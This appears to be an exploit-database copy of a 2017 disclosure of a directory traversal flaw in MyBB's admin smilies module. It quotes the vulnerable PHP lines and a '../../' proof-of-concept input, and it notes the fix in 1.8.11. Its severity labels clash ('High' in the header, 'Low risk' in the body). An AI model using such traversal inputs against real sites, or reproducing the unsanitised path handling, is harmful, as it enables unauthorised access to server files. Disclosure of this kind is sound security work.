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MyBB < 1.8.11 Directory Traversal

CVE Category Price Severity
CVE-2016-1238 CWE-22 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-04-12
CVSS EPSS EPSSP
CVSS: 3.1 0.77446 0.91111

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040070

Below is a copy:

MyBB <1.8.11 Directory Traversal#################################


Description:

============


product:MyBB

Homepage:https://mybb.com/

vulnerable  version:<1.8.11

Severity:Low risk


===============


Proof of Concept:


=============


vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple


vulnerability  file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php


vulnerability  Code:


Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);


if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!


============


Fixed:

============


This vulnerability was fixed in version 1.8.11


https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/


=============


Best regards,

Zhiyang Zeng of Tencent security platform department

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